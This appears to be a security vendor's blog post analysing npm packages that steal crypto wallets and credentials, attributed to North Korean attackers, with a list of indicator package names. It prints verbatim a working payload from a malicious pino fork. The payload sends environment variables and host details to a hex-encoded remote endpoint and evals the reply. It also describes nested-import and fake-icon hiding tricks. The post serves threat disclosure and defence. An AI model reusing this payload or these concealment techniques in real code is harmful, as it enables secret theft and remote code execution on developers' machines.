Hello from the Veracode Research blog! It’s been a minute since we’ve done a malware write-up, but we’re back and ready for action! And speaking of folks who are back and ready for action, the North Korean attackers behind the crypto wallet stealer campaign we wrote about in February of 2024 and again in May of 2024 are back at it with a new batch of malicious npm packages. Once again, we’re seeing some familiar tactics being used to target unsuspecting developers like obfuscation, multi-stage execution, and exfiltration of sensitive crypto-related data. Same playbook, new package names. (Note: Independent research from the Socket Security team has attributed these packages back to the Lazarus Group, the North Korean state-sponsored hacking group.)
The New Wallet Stealer Campaign
The new packages we’ve identified that belong to this new campaign shares striking similarities with the malware operations we previously documented. These packages continue the attackers’ pattern of using innocuous-sounding utility names that a developer might plausibly add to their project. Some target React developers specifically, while others present as generic validators or logging utilities.
Like the previous campaign, however, we suspect the motive here isn’t to necessarily trick random npm developers into installing these packages. There is likely a social engineering aspect involved where the attackers publish these packages to npm and then list them as dependencies in a private GitHub repository or similar project. The attackers then trick targeted developers into running the private project—perhaps under the guise of an interview exercise, pair coding project, or code review—which pulls in the malware from npm automatically.
This approach allows the malicious code to fly under the radar of suspicion when developers run these private projects, as the malware is simply listed as a dependency and not included directly in the project itself. This separation provides an additional layer of obfuscation and makes it less likely that even careful developers will notice the malicious behavior, as their focus is squarely on the project itself, not the dependencies.
Some New Tactics
Though the end goal appears the same, the attackers have deployed some new techniques:
The Nested Import Chain
In a few of the packages, the attacker has hidden the maliciousness deep at the bottom of a nested import chain. Let’s pull that thread for a bit.
- The package initially looks legitimate with a reasonable description: “A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications.”
- It has a typical
package.json
file with a seemingly innocent test script:
{
"name": "consolidate-log",
"version": "1.0.1",
"main": "index.js",
"scripts": {
"test": "node ./tests/logger.test.js"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
- The test script (
logger.test.js
) appears to be simply testing the logger:
const logger = require('../index');
const lg_inst = new logger;
lg_inst.info("started test");
lg_inst.error("error occured");
- The main
index.js
file points to another module:
const Logger = require('./src/logger');
module.exports = new Logger;
- The logger module itself looks legitimate with standard logging methods:
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
// Standard logging methods...
}
module.exports = Logger;
- Only when we dig into the
ErrorReport
class do we find something suspicious:
"use strict";
const validator = require('./regEx.ico');
class ErrorReport {
constructor() {
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
validator.check(err_msg);
console.log("report Error Data: ");
console.log(err_msg);
}
}
module.exports = ErrorReport;
- Finally, we find the malicious payload hidden in a file called
regEx.ico
, where we’d expect to find an icon file, not executable JavaScript. Since we’ve detailed this code in the previous linked write ups I’ll save you eye pain of looking at hundreds of lines of obfuscated JavaScript and just say that after deobfuscating the code we find a familiar pattern. It does the following- Searches for popular cryptocurrency wallet data
- Searches through browser data directories for saved password and other info
- Looks specifically for Solana wallet data files at
~/.config/solana/id.json
- Attempts to extract stored browser credentials from various browser profiles.
- It also contains similar mechanisms for:
- Establishing persistence
- Downloading additional payloads from remote servers
- Exfiltrating stolen data to attacker-controlled endpoints
Hex-Encoded String Obfuscation
We’ve also seen these attackers employing hex-encoded strings to hide the malicious functionality. For example, in the malicious package pino-core
the attackers first created a fork of the very popular node logging library (10M+ weekly downloads) pino and made two small modifications to the main pino.js
file. Here’s the diff:
---
+++
@@ -4,10 +4,11 @@
const stdSerializers = require('pino-std-serializers')
const caller = require('./lib/caller')
const redaction = require('./lib/redaction')
const time = require('./lib/time')
const proto = require('./lib/proto')
+const writer = require('./lib/writer');
const symbols = require('./lib/symbols')
const { configure } = require('safe-stable-stringify')
const { assertDefaultLevelFound, mappings, genLsCache, genLevelComparison, assertLevelComparison } = require('./lib/levels')
const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants')
const {
@@ -85,10 +86,11 @@
const normalize = createArgsNormalizer(defaultOptions)
const serializers = Object.assign(Object.create(null), stdSerializers)
function pino (...args) {
+ writer()
const instance = {}
const { opts, stream } = normalize(instance, caller(), ...args)
if (opts.level && typeof opts.level === 'string' && DEFAULT_LEVELS[opts.level.toLowerCase()] !== undefined) opts.level = opts.level.toLowerCase()
We can see they simply added a new require for writer
in ./lib/writer
and then simply call it in the main pino
function. This leaves the entire pino library functionality the same with this one extra function call. Looking at the file-level diff we can see they also added that file to the malicious fork. For reference, the pino library contains ~200 files in the project, so a simple glance at the files list would certainly not raise any alarms during a manual inspection. Let’s take a quick look at that file.
'use strict' const os = require('os') function getMacAddress () { const interfaces = os.networkInterfaces() const macAddresses = [] for (const interfaceName in interfaces) { const networkInterface = interfaces[interfaceName] networkInterface.forEach((details) => { // Check for IPv4 and that the address is not internal (i.e., not 127.0.0.1) if (details.family === 'IPv4' && !details.internal) { macAddresses.push(details.mac) } }) } return macAddresses } const data = { ...process.env, platform: os.platform(), hostname: os.hostname(), username: os.userInfo().username, macAddresses: getMacAddress() } function g (h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))) } const hl = [ g('72657175697265'), g('6178696f73'), g('706f7374'), g('68747470733a2f2f69702d636865636b2d6170692e76657263656c2e6170702f6170692f6970636865636b2f373033'), g('68656164657273'), g('782d7365637265742d686561646572'), g('736563726574'), g('7468656e') ] // eslint-disable-next-line no-eval module.exports = () => require(hl[1])[[hl[2]]](hl[3], data, { [hl[4]]: { [hl[5]]: hl[6] } })[[hl[7]]](r => eval(r.data)).catch(() => {})
Before we even turn our attention to the hex-encoded strings, we can still see how much sensitive machine information is collected: platform information, MAC address, hostname, username, etc. Working through decoding the strings is trivial. The function g()
converts the hex values to their corresponding ASCII characters. When decoded, the array hl
contains strings like “require”, “axios”, “post”, a URL endpoint, “headers”, “x-secret-header”, “secret”, and “then”. The final line, which uses this decoded information to:
- Import the axios library (
require(hl[1])
) - Make a POST request to a remote endpoint (
hl[3]
) - Send system information including environment variables, hostname, username, and MAC addresses
- Receive a response and execute it directly using
eval(r.data)
IOCs
Package Names
- array-empty-validator
- auth-validator
- cln-logger
- consolidate-log
- consolidate-logger
- core-pino
- dev-debugger-vite
- empty-array-validator
- eslint-plugin-rambdalint
- eslint-plugin-testnet
- event-handle-package
- events-utils
- events-utils-lib
- font-basic
- font-basis
- glog-parser
- icloud-cod
- icloud-xod
- is-buffer-validator
- node-clog
- react-event-dependency
- react-script-log
- snore-log
- yoojae-validator
Conclusion
This recurring open-source malware campaign clearly demonstrates the persistent nature of supply chain threats. North Korean nation-state attackers continue to evolve their techniques while maintaining the same core objective: stealing cryptocurrency assets and credentials. The sophistication of the attack combined with its multitude of different techniques–its deep nesting of imports, misleading file extensions, remote code execution, multiple stages of obfuscation, and persistence mechanisms–make these kinds of attacks extremely difficult if not impossible to detect manually. Furthermore, the attackers are preying on developers’ inherent trust in the open source ecosystem to achieve their goals of cryptocurrency theft. We will continue to monitor this attack and provide updates as we have them.